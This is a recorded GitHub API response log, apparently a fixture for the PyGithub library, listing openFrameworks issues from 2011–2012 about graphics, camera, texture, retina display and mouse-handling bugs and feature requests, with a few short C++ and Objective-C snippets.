them.","number":461,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/461","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"622425","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature"}],"id":580556,"closed_at":null,"created_at":"2011-02-07T15:24:21Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"saveImage() and other save operations should create missing directories","html_url":"https://github.com/openframeworks/openFrameworks/issues/460","comments":8,"assignee":{"gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","url":"https://api.github.com/users/ofTheo","login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"updated_at":"2012-03-08T15:56:48Z","body":"i feel like it happens relatively often where i try to save an image (for example) and the parent directories don't exist, so it just fails without really saying anything.\r\n\r\nit would be nice if the dir(s) were just created automatically for you.","number":460,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/460","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"b31d1d","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug"}],"id":579790,"closed_at":null,"created_at":"2011-02-07T07:52:25Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"ofTexture::allocate not checking for unnecessary reallocation","html_url":"https://github.com/openframeworks/openFrameworks/issues/454","comments":0,"assignee":null,"updated_at":"2011-02-06T04:26:44Z","body":"ofPixels::allocate is smart in that it doesn't reallocate if you ask for the same size as what's already there. ofTexture should work the same way to avoid unnecessary overhead.","number":454,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/454","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"622425","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature"}],"id":578069,"closed_at":null,"created_at":"2011-02-06T04:26:44Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"ofViewport doesn't work with ofSetOrientation","html_url":"https://github.com/openframeworks/openFrameworks/issues/449","comments":0,"assignee":null,"updated_at":"2011-02-02T00:03:09Z","body":"maybe a generic 'transformer' function would handle both this and mouse coordinates, and anything else? ofPoint ofGetAsbolutePosition(x,y)?","number":449,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/449","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"622425","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature"}],"id":568540,"closed_at":null,"created_at":"2011-02-02T00:03:09Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"no way to get imageType of ofVideoGrabber","html_url":"https://github.com/openframeworks/openFrameworks/issues/446","comments":0,"assignee":null,"updated_at":"2011-01-31T19:26:41Z","body":"ofVideoGrabber has getOFPixels in the .h, but it isn't implemented in the .cpp.\r\n\r\nmaybe this is just a signal that ofPixels stuff needs to be resolved soon... :) i'd be glad to help with this if possible.","number":446,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/446","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"b31d1d","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug"},{"color":"622425","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature"}],"id":565122,"closed_at":null,"created_at":"2011-01-31T19:26:41Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"ofGetElapsedTimeMillis returns an int instead of unsigned long","html_url":"https://github.com/openframeworks/openFrameworks/issues/428","comments":0,"assignee":null,"updated_at":"2011-01-28T06:28:01Z","body":"the start time is stored internally as an unsigned long, but ofGetElapsedTimeMillis returns it as an int. ofGetElapsedTimef also does calculations using time as an int. this means time wraps around every (2^31 - 1) milliseconds in days = 24.8 days.\r\n\r\nas an unsigned long it would be (2^64 - 1) milliseconds in years = 584 million years :)","number":428,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/428","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"b31d1d","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug"},{"color":"65a300","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bitesize","name":"bitesize"}],"id":558215,"closed_at":null,"created_at":"2011-01-28T06:28:01Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"4fc88ba881fee72fc4c5de473dc2ebbf","url":"https://api.github.com/users/NickHardeman","login":"NickHardeman","id":142694,"avatar_url":"https://secure.gravatar.com/avatar/4fc88ba881fee72fc4c5de473dc2ebbf?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"Check ofShader Texture Wrap Parameters","html_url":"https://github.com/openframeworks/openFrameworks/issues/424","comments":1,"assignee":null,"updated_at":"2011-12-02T21:05:54Z","body":"I thought checking for custom texture wrapping in ofShader might be useful. Not sure how to add a label to this :/\n\n#include ofGraphics.h\n\nvoid setUniformTexture(const char* name, ofBaseHasTexture& img, int textureLocation=-1);\nvoid setUniformTexture(const char* name, ofTexture& img, int textureLocation=-1);\n\nvoid ofShader::setUniformTexture(const char* name, ofTexture& tex, int textureLocation) {\n\tif(bLoaded) {\n\t\t\n\t\tGLfloat wrapS = -1;\n\t\tGLfloat wrapT = -1;\n\t\t\n\t\tif (ofGetUsingCustomTextureWrap()) {\n\t\t\tglGetTexParameterfv(GL_TEXTURE_2D, GL_TEXTURE_WRAP_S, &wrapS);\n\t\t\tglGetTexParameterfv(GL_TEXTURE_2D, GL_TEXTURE_WRAP_T, &wrapT);\n\t\t}\n\t\t\n\t\tofTextureData texData = tex.getTextureData();\n\t\tif (textureLocation < 0) textureLocation = texData.textureID;\n\t\tglActiveTexture(GL_TEXTURE0 + textureLocation);\n\t\tglEnable(texData.textureTarget);\n\t\t\n\t\tif(wrapS > 0) glTexParameterf(GL_TEXTURE_2D, GL_TEXTURE_WRAP_S, wrapS);\n\t\tif(wrapT > 0) glTexParameterf(GL_TEXTURE_2D, GL_TEXTURE_WRAP_T, wrapT);\n\t\t\n\t\tglBindTexture(texData.textureTarget, texData.textureID);\n\t\tglDisable(texData.textureTarget);\n\t\tsetUniform1i(name, texData.textureID);\n\t\tglActiveTexture(GL_TEXTURE0);\n\t}\n}","number":424,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/424","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"622425","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature"}],"id":556923,"closed_at":null,"created_at":"2011-01-27T19:43:31Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"84c985e7168027f833fd837f3afd9f3e","url":"https://api.github.com/users/arturoc","login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"problem with reloading movies in osx","html_url":"https://github.com/openframeworks/openFrameworks/issues/423","comments":0,"assignee":null,"updated_at":"2011-01-24T22:34:29Z","body":"http://www.openframeworks.cc/forum/viewtopic.php?f=8&t=5222","number":423,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/423","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"b31d1d","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug"},{"color":"2a8296","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/macOS","name":"macOS"}],"id":548302,"closed_at":null,"created_at":"2011-01-24T22:34:29Z"},{"milestone":{"state":"open","description":"","title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"number":5,"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","creator":{"gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":61810,"created_at":"2011-12-02T15:29:48Z"},"state":"open","user":{"gravatar_id":"117a7eecfee7c7f7e954623fd96e1b6e","url":"https://api.github.com/users/snibbe","login":"snibbe","id":581517,"avatar_url":"https://secure.gravatar.com/avatar/117a7eecfee7c7f7e954623fd96e1b6e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"Retina display support **that doesn't crash devices!** with backward compatibility to OS 3.0","html_url":"https://github.com/openframeworks/openFrameworks/issues/421","comments":2,"assignee":{"gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","url":"https://api.github.com/users/ofTheo","login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"updated_at":"2011-12-05T22:03:15Z","body":"Hi guys,\r\n\r\nI posted to the OF forum a solution back in August to support retina display with backward compatibility to pre-OS 4.0 devices:\r\n\r\nhttp://www.openframeworks.cc/forum/viewtopic.php?f=25&t=4185&start=15\r\n\r\nIf it's still outstanding, here's the solution!\r\n\r\nEAGLView.mm, initWithFrame, after the eaglLayer.drawableProperties assignment, add:\r\n\r\n if ([[UIScreen mainScreen] respondsToSelector:@selector(scale)]) {\r\n if ([[UIScreen mainScreen] scale] > 1) {\r\n // code below doesn't work on iPad 3.2 OS and below, but doesn't need to because scale is 1\r\n [self setContentScaleFactor:[[UIScreen mainScreen] scale]];\r\n }\r\n }\r\n\r\nofAppiPhoneWindow.mm, timerLoop, after [ofxiPhoneGetGLView() startRender]; add:\r\n\r\n int ofwidth = ofGetWidth();\r\n int ofheight = ofGetHeight();\r\n \r\n if ([[UIScreen mainScreen] respondsToSelector:@selector(scale)]) {\r\n ofwidth *= [[UIScreen mainScreen] scale];\r\n ofheight *= [[UIScreen mainScreen] scale];\r\n }\r\n\r\nthen change the glViewport calls:\r\n\r\n\t// this could be taken out and included in ofAppBaseWIndow\r\n\tif(orientation == OFXIPHONE_ORIENTATION_PORTRAIT || orientation == OFXIPHONE_ORIENTATION_UPSIDEDOWN)\r\n\t\tglViewport( 0, 0, ofwidth, ofheight );\r\n\telse\r\n\t\tglViewport( 0, 0, ofheight, ofwidth );","number":421,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/421","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"b31d1d","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug"},{"color":"622425","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature"},{"color":"2a8296","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/macOS","name":"macOS"}],"id":548070,"closed_at":null,"created_at":"2011-01-24T20:52:18Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"bea30676dca310e7f38269f245214944","url":"https://api.github.com/users/elliotwoods","login":"elliotwoods","id":328294,"avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"something to wrap glMultMatrixf","html_url":"https://github.com/openframeworks/openFrameworks/issues/418","comments":0,"assignee":null,"updated_at":"2011-01-22T15:57:37Z","body":"suggestions:\r\n\r\n ofPopMatrix(ofMatrix4x4 m)\r\n\r\n ofMultMatrix(ofMatrix4x4 m)\r\n\r\n ofMatrix4x4::apply();\r\n ofMatrix4x4::push();","number":418,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/418","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"622425","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature"}],"id":543729,"closed_at":null,"created_at":"2011-01-22T15:57:37Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"bea30676dca310e7f38269f245214944","url":"https://api.github.com/users/elliotwoods","login":"elliotwoods","id":328294,"avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"3D isn't scale invariant in certain parts","html_url":"https://github.com/openframeworks/openFrameworks/issues/417","comments":0,"assignee":null,"updated_at":"2011-01-22T15:24:07Z","body":"e.g.\r\n\r\n void ofEasyCam::reset() {\r\n\ttarget.resetTransform();\r\n\tdistance = 100;\r\n }\r\n\r\nofNode's\r\n\tvirtual void customDraw() {\r\n\t\tofBox(10);\r\n\t\tofDrawAxis(20);\r\n\t}\r\n\r\nsuggestions:\r\n\r\nglobal variable called something like 'base3DScaleFactor = 10.0f' which will affect all of these current constant scale factors","number":417,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/417","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"622425","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature"}],"id":543694,"closed_at":null,"created_at":"2011-01-22T15:24:07Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"96c91dba0113ea847ee43b0961d24b3a","url":"https://api.github.com/users/vanderlin","login":"vanderlin","id":149997,"avatar_url":"https://secure.gravatar.com/avatar/96c91dba0113ea847ee43b0961d24b3a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"Simulator not working with any examples ","html_url":"https://github.com/openframeworks/openFrameworks/issues/414","comments":3,"assignee":{"gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","url":"https://api.github.com/users/julapy","login":"julapy","id":331382,"avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"updated_at":"2012-03-10T05:00:35Z","body":"Getting this error after the app launches in simulator mode \r\n\r\nDetected an attempt to call a symbol in system libraries that is not present on the iPhone:\r\n\r\n","number":414,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/414","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"2babad","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS"},{"color":"b31d1d","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug"}],"id":539979,"closed_at":null,"created_at":"2011-01-20T20:17:35Z"},{"milestone":{"state":"open","description":"","title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"number":5,"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","creator":{"gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":61810,"created_at":"2011-12-02T15:29:48Z"},"state":"open","user":{"gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","url":"https://api.github.com/users/ofTheo","login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"ofCamera::setPan is broken","html_url":"https://github.com/openframeworks/openFrameworks/issues/413","comments":1,"assignee":{"gravatar_id":"84c985e7168027f833fd837f3afd9f3e","url":"https://api.github.com/users/arturoc","login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"updated_at":"2012-03-14T15:11:06Z","body":"","number":413,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/413","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"b31d1d","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug"},{"color":"31e03a","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed"}],"id":539915,"closed_at":null,"created_at":"2011-01-20T20:01:00Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"84c985e7168027f833fd837f3afd9f3e","url":"https://api.github.com/users/arturoc","login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"add setMultisampling method to glutWindow","html_url":"https://github.com/openframeworks/openFrameworks/issues/412","comments":0,"assignee":null,"updated_at":"2011-01-20T19:33:30Z","body":"multisampling is now working in linux through the display string option. perhaps we could add a method to easily set it if it also works on win/osx","number":412,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/412","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"622425","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature"},{"color":"244569","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/windows","name":"windows"}],"id":539845,"closed_at":null,"created_at":"2011-01-20T19:33:30Z"},{"milestone":{"state":"open","description":"","title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"number":5,"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","creator":{"gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":61810,"created_at":"2011-12-02T15:29:48Z"},"state":"open","user":{"gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","url":"https://api.github.com/users/ofTheo","login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"ofCamera / ofEasyCamera does not work correctly for iPhone / iPad","html_url":"https://github.com/openframeworks/openFrameworks/issues/410","comments":2,"assignee":{"gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","url":"https://api.github.com/users/julapy","login":"julapy","id":331382,"avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"updated_at":"2012-03-14T15:11:06Z","body":"Needs to take into account the rotation and the flipping happening in ofAppiPhoneWindow::timerLoop() \n\nAlso the internal call to ofViewport causes clipping in horizontal mode. \n\nIts currently very difficult to setup the camera correctly for iPad / iPhone - would be great if the default for ofCamera would be to start with the typical OF camera view. ","number":410,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/410","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"2babad","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS"},{"color":"b31d1d","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug"},{"color":"31e03a","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed"}],"id":539744,"closed_at":null,"created_at":"2011-01-20T18:59:10Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"96c91dba0113ea847ee43b0961d24b3a","url":"https://api.github.com/users/vanderlin","login":"vanderlin","id":149997,"avatar_url":"https://secure.gravatar.com/avatar/96c91dba0113ea847ee43b0961d24b3a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"ofEnableLighting","html_url":"https://github.com/openframeworks/openFrameworks/issues/406","comments":0,"assignee":null,"updated_at":"2011-01-19T19:39:37Z","body":"ofLight bug not sure what the ios equivalent is..\r\n\r\nglColorMaterial(GL_FRONT_AND_BACK, GL_AMBIENT_AND_DIFFUSE); is not supported in IOS","number":406,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/406","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"b31d1d","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug"}],"id":537416,"closed_at":null,"created_at":"2011-01-19T19:39:36Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"bea30676dca310e7f38269f245214944","url":"https://api.github.com/users/elliotwoods","login":"elliotwoods","id":328294,"avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"ofViewport doesn't match rest of openFrameworks coordinates","html_url":"https://github.com/openframeworks/openFrameworks/issues/405","comments":0,"assignee":null,"updated_at":"2011-01-19T13:24:54Z","body":"Suggest change line 126 of ofGraphics.h to\r\n\tglViewport(x, ofGetHeight() - y - height, width, height);\r\n\r\nto be in line with rest of openFrameworks coordinate system\r\ne.g. ofRect(myRect) matches ofViewport(myRect)\r\n","number":405,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/405","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"b31d1d","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug"},{"color":"31e03a","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed"}],"id":536614,"closed_at":null,"created_at":"2011-01-19T13:24:53Z"}] https GET api.github.com None /repos/openframeworks/openFrameworks/issues?page=12 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4932'), ('content-length', '38352'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="next", ; rel="last", ; rel="first", ; rel="prev"'), ('etag', '"679d499a026b6f6d6a1e20857a7392dc"'), ('date', 'Tue, 29 May 2012 19:27:21 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"updated_at":"2011-01-17T23:39:31Z","body":"it should be only in the implementations and queried by the grabber/player in case an implementation doesn't support a format if not the app can crash or have really weird results","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/403","comments":0,"milestone":null,"number":403,"html_url":"https://github.com/openframeworks/openFrameworks/issues/403","assignee":null,"title":"setPixelFormat shouldn't be stored in videoGrabber/Player","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-01-17T23:39:31Z","state":"open","user":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":48240},"id":532954,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-01-17T16:37:42Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/400","comments":0,"milestone":null,"number":400,"html_url":"https://github.com/openframeworks/openFrameworks/issues/400","assignee":null,"title":"ofTTF should have setAnchorPercent so you can draw strings centered, right aligned etc","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-typography","name":"section-typography","color":"DDDDDD"}],"closed_at":null,"created_at":"2011-01-17T16:37:42Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144000},"id":532096,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-03-20T17:33:14Z","body":"every frame, it should update the pmouse value. so if you don't move the mouse, the pmouse value is equal to the current value.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/391","comments":1,"milestone":null,"number":391,"html_url":"https://github.com/openframeworks/openFrameworks/issues/391","assignee":null,"title":"ofGetPreviousMouseX/Y() does not update per frame","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-01-16T07:21:15Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":529705,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-03-20T17:32:59Z","body":"this is a limitation to glut, but it might be hackable on each system separately.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/389","comments":1,"milestone":null,"number":389,"html_url":"https://github.com/openframeworks/openFrameworks/issues/389","assignee":null,"title":"mouse position doesn't update until mouse is moved","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-01-16T07:11:53Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":529700,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-03-13T21:10:48Z","body":"following error appears when i try to load an image; commenting out the call 